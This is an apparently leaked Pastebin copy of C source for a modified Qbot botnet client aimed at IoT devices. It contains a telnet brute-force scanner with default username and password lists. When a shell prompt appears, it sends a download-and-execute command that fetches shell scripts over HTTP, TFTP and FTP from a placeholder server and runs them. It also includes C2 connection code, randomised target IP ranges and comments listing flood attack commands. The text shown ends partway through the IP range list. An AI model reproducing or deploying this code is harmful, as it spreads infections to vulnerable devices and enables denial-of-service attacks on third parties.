Advertisement
UNTOUCHABLEHACKERGOD

lovesec's private client

Feb 7th, 2018
365
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 70.15 KB | None | 0 0
  1. /6h968
  2.  
  3. /*
  4. {
  5. 6/23/17
  6. Cheats 2.5 Remasterd By Love Hecate (LEAKED LOL)
  7. 6/23/17
  8. }
  9. BUILD 2.5
  10. Qbot Modified by Jonah
  11. private void hackashit()
  12. {
  13. printf("Main Shit added\r\n");
  14. system("Look at The telnet scanner... Way better execution and faster");
  15. system("Working STD");//the std flood you see randomizing the strings that a few people have -say thanks to cheats for it
  16. system("Working HTTP Flood");
  17. system("Netis scanner added");//NEW!!!!!
  18. sleep(8);
  19. printf("lil shit added");
  20. system("Modified Botkill");
  21. system("Looping Payload Function");//PRETTY ASS
  22. system("Device Cleaner");
  23. system("New Get build");
  24. system("added python scanner lol");
  25. }
  26. //btw a lil side note the sh command is "MOVE"
  27. //another note ghp flood command is "!* HTTP cancer.org GET/POST/HEAD PORT PATH TIME POWER" SO LIKE THIS
  28. "!* HTTP cancer.org GET 80 / 60 200"
  29. //THE KILL ATTACK COMMAND IS "!* STOP"
  30. */
  31. #include <stdlib.h>
  32. #include <stdarg.h>
  33. #include <stdio.h>
  34. #include <sys/socket.h>
  35. #include <sys/types.h>
  36. #include <netinet/in.h>
  37. #include <arpa/inet.h>
  38. #include <netdb.h>
  39. #include <signal.h>
  40. #include <strings.h>
  41. #include <string.h>
  42. #include <sys/utsname.h>
  43. #include <unistd.h>
  44. #include <fcntl.h>
  45. #include <errno.h>
  46. #include <netinet/ip.h>
  47. #include <netinet/udp.h>
  48. #include <netinet/tcp.h>
  49. #include <sys/wait.h>
  50. #include <sys/ioctl.h>
  51. #include <net/if.h>
  52. #include <time.h>
  53. #include <limits.h>
  54. #define PR_SET_NAME 15
  55. #define SERVER_LIST_SIZE (sizeof(hekkertelnet) / sizeof(unsigned char *))
  56. #define PAD_RIGHT 1
  57. #define PAD_ZERO 2
  58. #define PRINT_BUF_LEN 12
  59. #define CMD_IAC 255
  60. #define CMD_WILL 251
  61. #define CMD_WONT 252
  62. #define CMD_DO 253
  63. #define CMD_DONT 254
  64. #define OPT_SGA 3
  65. #define STD2_SIZE 75
  66. #define BUFFER_SIZE 1024
  67. #define PHI 0x9e3779b9
  68. #define VERSION "DaddyV1.0"
  69. #define NETIS "AA\x00\x00AAAA"
  70. unsigned char *hekkertelnet[] = { "SERVERIP" };
  71. int Server_Botport = BOTPORT;
  72. char *usernames[] = {"666666\0", "support\0", "default\0", "root\0", "root\0", "admin\0", "root\0", "admin\0", "root\0", "admin\0", "admin\0", "root\0", "support\0", "root\0", "supervisor\0", "root\0", "root\0", "root\0"};
  73. char *passwords[] = {"666666\0", "support\0", "\0", "\0", "root\0", "admin\0", "1234\0", "root\0", "123456\0", "1234\0", "vnpt\0", "1234567890\0", "support\0", "antslq\0", "zyad1234\0", "anko\0", "tini\0", "letacla\0"};
  74. char *hvgsgd = "cd /tmp; wget http://SERVERIP/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp SERVERIP -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g SERVERIP; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 SERVERIP ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n";
  75. char* advances[] = {":", "ogin", "sername", "assword", (char*)0};//advances so if it says any of the following itll try a passwd or user
  76. char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};// ill kms if i see this
  77. char* successes[] = {"BusyBox", "$", "#", (char*)0};//if it sees this itll send the payload
  78. char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "BusyBox", "$", "#", (char*)0};
  79. int initConnection();
  80. int getBogos(unsigned char *bogomips);
  81. int getCores();
  82. int userID = 1;
  83. int getCountry(unsigned char *buf, int bufsize);
  84. void makeRandomStr(unsigned char *buf, int length);
  85. int HackerPrint(int sock, char *formatStr, ...);
  86. char *inet_ntoa(struct in_addr in);
  87. int D1ckSucka = 0, D1ckSuckaz = -1;
  88. uint32_t *pids;
  89. uint32_t scanPid;
  90. uint32_t ngPid;
  91. uint64_t numpids = 0;
  92. struct in_addr ourIP;
  93. unsigned char macAddress[6] = {0};
  94. static uint32_t Q[4096], c = 362436;
  95. void init_rand(uint32_t x)
  96. {
  97. int i;
  98. Q[0] = x;
  99. Q[1] = x + PHI;
  100. Q[2] = x + PHI + PHI;
  101. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  102. }
  103. uint32_t rand_cmwc(void)
  104. {
  105. uint64_t t, a = 18782LL;
  106. static uint32_t i = 4095;
  107. uint32_t x, r = 0xfffffffe;
  108. i = (i + 1) & 4095;
  109. t = a * Q[i] + c;
  110. c = (uint32_t)(t >> 32);
  111. x = t + c;
  112. if (x < c) {
  113. x++;
  114. c++;
  115. }
  116. return (Q[i] = r - x);
  117. }
  118. void trim(char *str)
  119. {
  120. int i;
  121. int begin = 0;
  122. int end = strlen(str) - 1;
  123. while (isspace(str[begin])) begin++;
  124. while ((end >= begin) && isspace(str[end])) end--;
  125. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  126. str[i - begin] = '\0';
  127. }
  128. static void printchar(unsigned char **str, int c)
  129. {
  130. if (str) {
  131. **str = c;
  132. ++(*str);
  133. }
  134. else (void)write(1, &c, 1);
  135. }
  136. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  137. {
  138. register int pc = 0, padchar = ' ';
  139. if (width > 0) {
  140. register int len = 0;
  141. register const unsigned char *ptr;
  142. for (ptr = string; *ptr; ++ptr) ++len;
  143. if (len >= width) width = 0;
  144. else width -= len;
  145. if (pad & PAD_ZERO) padchar = '0';
  146. }
  147. if (!(pad & PAD_RIGHT)) {
  148. for ( ; width > 0; --width) {
  149. printchar (out, padchar);
  150. ++pc;
  151. }
  152. }
  153. for ( ; *string ; ++string) {
  154. printchar (out, *string);
  155. ++pc;
  156. }
  157. for ( ; width > 0; --width) {
  158. printchar (out, padchar);
  159. ++pc;
  160. }
  161. return pc;
  162. }
  163. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  164. {
  165. unsigned char print_buf[PRINT_BUF_LEN];
  166. register unsigned char *s;
  167. register int t, neg = 0, pc = 0;
  168. register unsigned int u = i;
  169. if (i == 0) {
  170. print_buf[0] = '0';
  171. print_buf[1] = '\0';
  172. return prints (out, print_buf, width, pad);
  173. }
  174. if (sg && b == 10 && i < 0) {
  175. neg = 1;
  176. u = -i;
  177. }
  178. s = print_buf + PRINT_BUF_LEN-1;
  179. *s = '\0';
  180. while (u) {
  181. t = u % b;
  182. if( t >= 10 )
  183. t += letbase - '0' - 10;
  184. *--s = t + '0';
  185. u /= b;
  186. }
  187. if (neg) {
  188. if( width && (pad & PAD_ZERO) ) {
  189. printchar (out, '-');
  190. ++pc;
  191. --width;
  192. }
  193. else {
  194. *--s = '-';
  195. }
  196. }
  197. return pc + prints (out, s, width, pad);
  198. }
  199. static int print(unsigned char **out, const unsigned char *format, va_list args )
  200. {
  201. register int width, pad;
  202. register int pc = 0;
  203. unsigned char scr[2];
  204. for (; *format != 0; ++format) {
  205. if (*format == '%') {
  206. ++format;
  207. width = pad = 0;
  208. if (*format == '\0') break;
  209. if (*format == '%') goto out;
  210. if (*format == '-') {
  211. ++format;
  212. pad = PAD_RIGHT;
  213. }
  214. while (*format == '0') {
  215. ++format;
  216. pad |= PAD_ZERO;
  217. }
  218. for ( ; *format >= '0' && *format <= '9'; ++format) {
  219. width *= 10;
  220. width += *format - '0';
  221. }
  222. if( *format == 's' ) {
  223. register char *s = (char *)va_arg( args, int );
  224. pc += prints (out, s?s:"(null)", width, pad);
  225. continue;
  226. }
  227. if( *format == 'd' ) {
  228. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  229. continue;
  230. }
  231. if( *format == 'x' ) {
  232. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  233. continue;
  234. }
  235. if( *format == 'X' ) {
  236. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  237. continue;
  238. }
  239. if( *format == 'u' ) {
  240. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  241. continue;
  242. }
  243. if( *format == 'c' ) {
  244. scr[0] = (unsigned char)va_arg( args, int );
  245. scr[1] = '\0';
  246. pc += prints (out, scr, width, pad);
  247. continue;
  248. }
  249. }
  250. else {
  251. out:
  252. printchar (out, *format);
  253. ++pc;
  254. }
  255. }
  256. if (out) **out = '\0';
  257. va_end( args );
  258. return pc;
  259. }
  260. int zprintf(const unsigned char *format, ...)
  261. {
  262. va_list args;
  263. va_start( args, format );
  264. return print( 0, format, args );
  265. }
  266. int szprintf(unsigned char *out, const unsigned char *format, ...)
  267. {
  268. va_list args;
  269. va_start( args, format );
  270. return print( &out, format, args );
  271. }
  272. int HackerPrint(int sock, char *formatStr, ...)
  273. {
  274. unsigned char *textBuffer = malloc(2048);
  275. memset(textBuffer, 0, 2048);
  276. char *orig = textBuffer;
  277. va_list args;
  278. va_start(args, formatStr);
  279. print(&textBuffer, formatStr, args);
  280. va_end(args);
  281. orig[strlen(orig)] = '\n';
  282. //zprintf("buf: %s\n", orig);
  283. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  284. free(orig);
  285. return q;
  286. }
  287. static int *fdopen_pids;
  288. int fdpopen(unsigned char *program, register unsigned char *type)
  289. {
  290. register int iop;
  291. int pdes[2], fds, pid;
  292. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  293. if (pipe(pdes) < 0) return -1;
  294. if (fdopen_pids == NULL) {
  295. if ((fds = getdtablesize()) <= 0) return -1;
  296. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  297. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  298. }
  299. switch (pid = vfork())
  300. {
  301. case -1:
  302. close(pdes[0]);
  303. close(pdes[1]);
  304. return -1;
  305. case 0:
  306. if (*type == 'r') {
  307. if (pdes[1] != 1) {
  308. dup2(pdes[1], 1);
  309. close(pdes[1]);
  310. }
  311. close(pdes[0]);
  312. } else {
  313. if (pdes[0] != 0) {
  314. (void) dup2(pdes[0], 0);
  315. (void) close(pdes[0]);
  316. }
  317. (void) close(pdes[1]);
  318. }
  319. execl("/bin/sh", "sh", "-c", program, NULL);
  320. _exit(127);
  321. }
  322. if (*type == 'r') {
  323. iop = pdes[0];
  324. (void) close(pdes[1]);
  325. } else {
  326. iop = pdes[1];
  327. (void) close(pdes[0]);
  328. }
  329. fdopen_pids[iop] = pid;
  330. return (iop);
  331. }
  332. int fdpclose(int iop)
  333. {
  334. register int fdes;
  335. sigset_t omask, nmask;
  336. int pstat;
  337. register int pid;
  338. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  339. (void) close(iop);
  340. sigemptyset(&nmask);
  341. sigaddset(&nmask, SIGINT);
  342. sigaddset(&nmask, SIGQUIT);
  343. sigaddset(&nmask, SIGHUP);
  344. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  345. do {
  346. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  347. } while (pid == -1 && errno == EINTR);
  348. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  349. fdopen_pids[fdes] = 0;
  350. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  351. }
  352. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  353. {
  354. int got = 1, total = 0;
  355. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  356. return got == 0 ? NULL : buffer;
  357. }
  358. static const long hextable[] = {
  359. [0 ... 255] = -1,
  360. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  361. ['A'] = 10, 11, 12, 13, 14, 15,
  362. ['a'] = 10, 11, 12, 13, 14, 15
  363. };
  364. long parseHex(unsigned char *hex)
  365. {
  366. long ret = 0;
  367. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  368. return ret;
  369. }
  370. int wildString(const unsigned char* pattern, const unsigned char* string) {
  371. switch(*pattern)
  372. {
  373. case '\0': return *string;
  374. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  375. case '?': return !(*string && !wildString(pattern+1, string+1));
  376. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  377. }
  378. }
  379. int getHost(unsigned char *toGet, struct in_addr *i)
  380. {
  381. struct hostent *h;
  382. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  383. return 0;
  384. }
  385. void uppercase(unsigned char *str)
  386. {
  387. while(*str) { *str = toupper(*str); str++; }
  388. }
  389. int getBogos(unsigned char *bogomips)
  390. {
  391. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  392. char linebuf[4096];
  393. while(fdgets(linebuf, 4096, cmdline) != NULL)
  394. {
  395. uppercase(linebuf);
  396. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  397. {
  398. unsigned char *pos = linebuf + 8;
  399. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  400. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  401. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  402. strcpy(bogomips, pos);
  403. close(cmdline);
  404. return 0;
  405. }
  406. memset(linebuf, 0, 4096);
  407. }
  408. close(cmdline);
  409. return 1;
  410. }
  411. int getCores()
  412. {
  413. int totalcores = 0;
  414. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  415. char linebuf[4096];
  416. while(fdgets(linebuf, 4096, cmdline) != NULL)
  417. {
  418. uppercase(linebuf);
  419. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  420. memset(linebuf, 0, 4096);
  421. }
  422. close(cmdline);
  423. return totalcores;
  424. }
  425. void makeRandomStr(unsigned char *buf, int length)
  426. {
  427. int i = 0;
  428. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  429. }
  430. int recvLine(int socket, unsigned char *buf, int bufsize)
  431. {
  432. memset(buf, 0, bufsize);
  433. fd_set myset;
  434. struct timeval tv;
  435. tv.tv_sec = 30;
  436. tv.tv_usec = 0;
  437. FD_ZERO(&myset);
  438. FD_SET(socket, &myset);
  439. int selectRtn, retryCount;
  440. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  441. while(retryCount < 10)
  442. {
  443. HackerPrint(D1ckSucka, "PING");
  444. tv.tv_sec = 30;
  445. tv.tv_usec = 0;
  446. FD_ZERO(&myset);
  447. FD_SET(socket, &myset);
  448. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  449. retryCount++;
  450. continue;
  451. }
  452. break;
  453. }
  454. }
  455. unsigned char tmpchr;
  456. unsigned char *cp;
  457. int count = 0;
  458. cp = buf;
  459. while(bufsize-- > 1)
  460. {
  461. if(recv(D1ckSucka, &tmpchr, 1, 0) != 1) {
  462. *cp = 0x00;
  463. return -1;
  464. }
  465. *cp++ = tmpchr;
  466. if(tmpchr == '\n') break;
  467. count++;
  468. }
  469. *cp = 0x00;
  470. // zprintf("recv: %s\n", cp);
  471. return count;
  472. }
  473. int hostname_to_ip(char * hostname , char* ip)
  474. {
  475. struct hostent *he;
  476. struct in_addr **addr_list;
  477. int i;
  478. if ( (he = gethostbyname( hostname ) ) == NULL)
  479. {
  480. // get the host info
  481. herror("gethostbyname");
  482. return 1;
  483. }
  484. addr_list = (struct in_addr **) he->h_addr_list;
  485. for(i = 0; addr_list[i] != NULL; i++)
  486. {
  487. //Return the first one;
  488. strcpy(ip , inet_ntoa(*addr_list[i]) );
  489. return 0;
  490. }
  491. return 1;
  492. }
  493. int connectTimeout(int fd, char *host, int port, int timeout)
  494. {
  495. struct sockaddr_in dest_addr;
  496. fd_set myset;
  497. struct timeval tv;
  498. socklen_t lon;
  499. int valopt;
  500. long arg = fcntl(fd, F_GETFL, NULL);
  501. arg |= O_NONBLOCK;
  502. fcntl(fd, F_SETFL, arg);
  503. dest_addr.sin_family = AF_INET;
  504. dest_addr.sin_port = htons(port);
  505. if(getHost(host, &dest_addr.sin_addr)) return 0;
  506. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  507. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  508. if (res < 0) {
  509. if (errno == EINPROGRESS) {
  510. tv.tv_sec = timeout;
  511. tv.tv_usec = 0;
  512. FD_ZERO(&myset);
  513. FD_SET(fd, &myset);
  514. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  515. lon = sizeof(int);
  516. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  517. if (valopt) return 0;
  518. }
  519. else return 0;
  520. }
  521. else return 0;
  522. }
  523. arg = fcntl(fd, F_GETFL, NULL);
  524. arg &= (~O_NONBLOCK);
  525. fcntl(fd, F_SETFL, arg);
  526. return 1;
  527. }
  528. int listFork()
  529. {
  530. uint32_t parent, *newpids, i;
  531. parent = fork();
  532. if (parent <= 0) return parent;
  533. numpids++;
  534. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  535. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  536. newpids[numpids - 1] = parent;
  537. free(pids);
  538. pids = newpids;
  539. return parent;
  540. }
  541. int negotiate(int sock, unsigned char *buf, int len)
  542. {
  543. unsigned char c;
  544. switch (buf[1]) {
  545. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  546. case CMD_WILL:
  547. case CMD_WONT:
  548. case CMD_DO:
  549. case CMD_DONT:
  550. c = CMD_IAC;
  551. send(sock, &c, 1, MSG_NOSIGNAL);
  552. if (CMD_WONT == buf[1]) c = CMD_DONT;
  553. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  554. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  555. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  556. send(sock, &c, 1, MSG_NOSIGNAL);
  557. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  558. break;
  559. default:
  560. break;
  561. }
  562. return 0;
  563. }
  564. int matchPrompt(char *bufStr)
  565. {
  566. char *prompts = ":>%$#\0";
  567. int bufLen = strlen(bufStr);
  568. int i, q = 0;
  569. for(i = 0; i < strlen(prompts); i++)
  570. {
  571. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  572. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  573. }
  574. return 0;
  575. }
  576. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  577. {
  578. int bufferUsed = initialIndex, got = 0, found = 0;
  579. fd_set myset;
  580. struct timeval tv;
  581. tv.tv_sec = timeout;
  582. tv.tv_usec = timeoutusec;
  583. unsigned char *initialRead = NULL;
  584. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  585. {
  586. FD_ZERO(&myset);
  587. FD_SET(fd, &myset);
  588. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  589. initialRead = buffer + bufferUsed;
  590. got = recv(fd, initialRead, 1, 0);
  591. if(got == -1 || got == 0) return 0;
  592. bufferUsed += got;
  593. if(*initialRead == 0xFF)
  594. {
  595. got = recv(fd, initialRead + 1, 2, 0);
  596. if(got == -1 || got == 0) return 0;
  597. bufferUsed += got;
  598. if(!negotiate(fd, initialRead, 3)) return 0;
  599. } else {
  600. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  601. }
  602. }
  603. if(found) return 1;
  604. return 0;
  605. }
  606. static uint8_t ipState[5] = {0};
  607. in_addr_t HackerScan2()
  608. {
  609. ipState[1] = 0;
  610. ipState[2] = 0;
  611. ipState[3] = 0;
  612. ipState[4] = 0;
  613. ipState[1] = rand() % 255;
  614. ipState[2] = rand() % 255;
  615. ipState[3] = rand() % 255;
  616. ipState[4] = rand() % 255;
  617. int randnum = rand() % 208;
  618. char ip[16];
  619. if(randnum == 0)
  620. {
  621. szprintf(ip, "112.5.%d.%d", ipState[3], ipState[4]);
  622. }
  623. if(randnum == 1)
  624. {
  625. szprintf(ip, "117.165.%d.%d", ipState[3], ipState[4]);
  626. }
  627. if(randnum == 2)
  628. {
  629. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  630. }
  631. if(randnum == 3)
  632. {
  633. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  634. }
  635. if(randnum == 4)
  636. {
  637. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  638. }
  639. if(randnum == 5)
  640. {
  641. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  642. }
  643. if(randnum == 6)
  644. {
  645. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  646. }
  647. if(randnum == 7)
  648. {
  649. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  650. }
  651. if(randnum == 8)
  652. {
  653. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  654. }
  655. if(randnum == 9)
  656. {
  657. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  658. }
  659. if(randnum == 10)
  660. {
  661. szprintf(ip, "221.120.%d.%d", ipState[3], ipState[4]);
  662. }
  663. if(randnum == 11)
  664. {
  665. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  666. }
  667. if(randnum == 12)
  668. {
  669. szprintf(ip, "41.254.%d.%d", ipState[3], ipState[4]);
  670. }
  671. if(randnum == 13)
  672. {
  673. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  674. }
  675. if(randnum == 14)
  676. {
  677. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  678. }
  679. if(randnum == 15)
  680. {
  681. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  682. }
  683. if(randnum == 16)
  684. {
  685. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  686. }
  687. if(randnum == 17)
  688. {
  689. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  690. }
  691. if(randnum == 18)
  692. {
  693. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  694. }
  695. if(randnum == 19)
  696. {
  697. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  698. }
  699. if(randnum == 20)
  700. {
  701. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  702. }
  703. if(randnum == 21)
  704. {
  705. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  706. }
  707. if(randnum == 22)
  708. {
  709. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  710. }
  711. if(randnum == 23)
  712. {
  713. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  714. }
  715. if(randnum == 24)
  716. {
  717. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  718. }
  719. if(randnum == 25)
  720. {
  721. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  722. }
  723. if(randnum == 26)
  724. {
  725. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  726. }
  727. if(randnum == 27)
  728. {
  729. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  730. }
  731. if(randnum == 28)
  732. {
  733. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  734. }
  735. if(randnum == 29)
  736. {
  737. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  738. }
  739. if(randnum == 30)
  740. {
  741. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  742. }
  743. if(randnum == 31)
  744. {
  745. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  746. }
  747. if(randnum == 32)
  748. {
  749. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  750. }
  751. if(randnum == 33)
  752. {
  753. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  754. }
  755. if(randnum == 34)
  756. {
  757. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  758. }
  759. if(randnum == 35)
  760. {
  761. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  762. }
  763. if(randnum == 36)
  764. {
  765. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  766. }
  767. if(randnum == 37)
  768. {
  769. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  770. }
  771. if(randnum == 38)
  772. {
  773. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  774. }
  775. if(randnum == 39)
  776. {
  777. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  778. }
  779. if(randnum == 40)
  780. {
  781. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  782. }
  783. if(randnum == 41)
  784. {
  785. szprintf(ip, "43.253.%d.%d", ipState[3], ipState[4]);
  786. }
  787. if(randnum == 42)
  788. {
  789. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  790. }
  791. if(randnum == 43)
  792. {
  793. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  794. }
  795. if(randnum == 44)
  796. {
  797. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  798. }
  799. if(randnum == 45)
  800. {
  801. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  802. }
  803. if(randnum == 46)
  804. {
  805. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  806. }
  807. if(randnum == 47)
  808. {
  809. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  810. }
  811. if(randnum == 48)
  812. {
  813. szprintf(ip, "123.25.%d.%d", ipState[3], ipState[4]);
  814. }
  815. if(randnum == 49)
  816. {
  817. szprintf(ip, "103.54.%d.%d", ipState[3], ipState[4]);
  818. }
  819. if(randnum == 50)
  820. {
  821. szprintf(ip, "27.255.%d.%d", ipState[3], ipState[4]);
  822. }
  823. if(randnum == 51)
  824. {
  825. szprintf(ip, "103.204.%d.%d", ipState[3], ipState[4]);
  826. }
  827. if(randnum == 52)
  828. {
  829. szprintf(ip, "123.24.%d.%d", ipState[3], ipState[4]);
  830. }
  831. if(randnum ==53)
  832. {
  833. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  834. }
  835. if(randnum == 54)
  836. {
  837. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  838. }
  839. if(randnum == 55)
  840. {
  841. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  842. }
  843. if(randnum == 56)
  844. {
  845. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  846. }
  847. if(randnum == 57)
  848. {
  849. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  850. }
  851. if(randnum == 58)
  852. {
  853. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  854. }
  855. if(randnum == 59)
  856. {
  857. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  858. }
  859. if(randnum == 60)
  860. {
  861. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  862. }
  863. if(randnum == 61)
  864. {
  865. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  866. }
  867. if(randnum == 62)
  868. {
  869. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  870. }
  871. if(randnum == 63)
  872. {
  873. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  874. }
  875. if(randnum == 64)
  876. {
  877. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  878. }
  879. if(randnum == 65)
  880. {
  881. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  882. }
  883. if(randnum == 66)
  884. {
  885. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  886. }
  887. if(randnum == 67)
  888. {
  889. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  890. }
  891. if(randnum == 68)
  892. {
  893. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  894. }
  895. if(randnum == 69)
  896. {
  897. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  898. }
  899. if(randnum == 70)
  900. {
  901. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  902. }
  903. if(randnum == 71)
  904. {
  905. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  906. }
  907. if(randnum == 72)
  908. {
  909. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  910. }
  911. if(randnum == 73)
  912. {
  913. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  914. }
  915. if(randnum == 74)
  916. {
  917. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  918. }
  919. if(randnum == 75)
  920. {
  921. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  922. }
  923. if(randnum == 76)
  924. {
  925. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  926. }
  927. if(randnum == 77)
  928. {
  929. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  930. }
